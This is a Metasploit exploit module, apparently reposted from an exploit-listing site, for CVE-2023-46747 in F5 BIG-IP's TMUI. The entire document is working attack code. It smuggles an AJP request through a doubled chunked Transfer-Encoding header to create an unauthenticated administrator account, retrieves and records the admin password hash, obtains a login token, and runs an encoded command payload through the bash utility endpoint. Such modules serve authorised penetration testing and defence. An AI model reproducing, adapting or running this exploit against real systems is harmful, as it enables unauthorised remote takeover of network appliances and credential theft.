Share
## https://sploitus.com/exploit?id=PACKETSTORM:175673
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/proto/apache_j_p'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Retry  
  
ApacheJP = Rex::Proto::ApacheJP  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',  
'Description' => %q{  
This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,  
unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new  
account to execute a command payload. Both the exploit and check methods automatically delete any temporary  
accounts that are created.  
},  
'Author' => [  
'Michael Weber', # vulnerability analysis  
'Thomas Hendrickson', # vulnerability analysis  
'Sandeep Singh', # nuclei template  
'Spencer McIntyre' # metasploit module  
],  
'References' => [  
['CVE', '2023-46747'],  
['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],  
['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],  
['URL', 'https://my.f5.com/manage/s/article/K000137353'],  
['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'],  
['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis']  
],  
'DisclosureDate' => '2023-10-26', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Privileged' => true,  
'Targets' => [  
[  
'Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD  
}  
],  
],  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 443,  
'FETCH_WRITABLE_DIR' => '/tmp'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [  
IOC_IN_LOGS, # user creation events are logged  
CONFIG_CHANGES # a temporary user is created then deleted  
]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = create_user(role: 'Guest')  
return CheckCode::Unknown('No response received from target.') unless res  
return CheckCode::Safe('Failed to create the user.') unless res.code == 200  
  
changed = update_user_password  
return CheckCode::Safe('Failed to set the new user\'s password.') unless changed  
  
res = bigip_api_tm_get_user(username)  
return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'  
  
CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')  
end  
  
def exploit  
res = create_user(role: 'Administrator')  
fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200  
  
changed = update_user_password  
fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed  
  
print_good("Admin user was created successfully. Credentials: #{username} - #{password}")  
  
res = bigip_api_tm_get_user('admin')  
if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?  
print_good("Retrieved the admin hash: #{hash}")  
report_hash('admin', hash)  
end  
  
logged_in = retry_until_truthy(timeout: 30) do  
res = bigip_api_shared_login  
res&.code == 200  
end  
fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in  
  
token = res.get_json_document.dig('token', 'token')  
fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?  
  
print_status("Obtained login token: #{token}")  
  
bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"  
# this may or may not timeout  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),  
'headers' => {  
'Content-Type' => 'application/json',  
'X-F5-Auth-Token' => token  
},  
'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json  
)  
end  
  
def report_hash(user, hash)  
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)  
service_data = {  
address: rhost,  
port: rport,  
service_name: 'F5 BIG-IP TMUI',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
credential_data = {  
module_fullname: fullname,  
origin_type: :service,  
private_data: hash,  
private_type: :nonreplayable_hash,  
jtr_format: jtr_format,  
username: user  
}.merge(service_data)  
  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def cleanup  
super  
  
print_status('Deleting the created user...')  
delete_user  
end  
  
def username  
@username ||= rand_text_alpha(6..8)  
end  
  
def password  
@password ||= rand_text_alphanumeric(16..20)  
end  
  
def create_user(role:)  
# for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html  
send_request_smuggled_ajp({  
'handler' => '/tmui/system/user/create',  
'form_page' => '/tmui/system/user/create.jsp',  
'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]",  
'systemuser-hidden_before' => '',  
'name' => username,  
'name_before' => '',  
'passwd' => password,  
'passwd_before' => '',  
'finished' => 'x',  
'finished_before' => ''  
})  
end  
  
def delete_user  
send_request_smuggled_ajp({  
'handler' => '/tmui/system/user/list',  
'form_page' => '/tmui/system/user/list.jsp',  
'checkbox0' => username,  
'checkbox0_before' => 'checked',  
'delete_confirm' => 'Delete',  
'delete_confirm_before' => 'Delete',  
'row_count' => '1',  
'row_count_before' => '1'  
})  
end  
  
def update_user_password  
new_password = Rex::Text.rand_text_alphanumeric(password.length)  
changed = retry_until_truthy(timeout: 30) do  
res = bigip_api_shared_set_password(username, password, new_password)  
res&.code == 200  
end  
@password = new_password if changed  
changed  
end  
  
def send_request_smuggled_ajp(query)  
post_data = "204\r\n" # do not change  
  
timenow = rand_text_numeric(1)  
tmui_dubbuf = rand_text_alpha_upper(11)  
  
query = query.merge({  
'_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest),  
'_bufvalue_before' => '',  
'_timenow' => timenow,  
'_timenow_before' => ''  
})  
query_string = URI.encode_www_form(query).ljust(370, '&')  
  
# see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes  
ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(  
http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST,  
req_uri: '/tmui/Control/form',  
remote_addr: '127.0.0.1',  
remote_host: 'localhost',  
server_name: 'localhost',  
headers: [  
{ header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf },  
{ header_name: 'REMOTEROLE', header_value: '0' },  
{ header_name: 'host', header_value: 'localhost' }  
],  
attributes: [  
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' },  
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string },  
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }  
]  
)  
ajp_data = ajp_forward_request.to_binary_s[2...]  
unless ajp_data.length == 0x204 # 516 bytes  
# this is a developer error  
raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes."  
end  
  
post_data << ajp_data  
post_data << "\r\n0"  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),  
'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },  
'data' => post_data  
)  
end  
  
def bigip_api_shared_set_password(user, old_password, new_password)  
send_request_cgi(  
'method' => 'PATCH',  
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),  
'headers' => {  
'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",  
'Content-Type' => 'application/json'  
},  
'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json  
)  
end  
  
def bigip_api_shared_login  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),  
'headers' => { 'Content-Type' => 'application/json' },  
'data' => { 'username' => username, 'password' => password }.to_json  
)  
end  
  
def bigip_api_tm_get_user(user)  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),  
'headers' => {  
'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",  
'Content-Type' => 'application/json'  
}  
)  
end  
end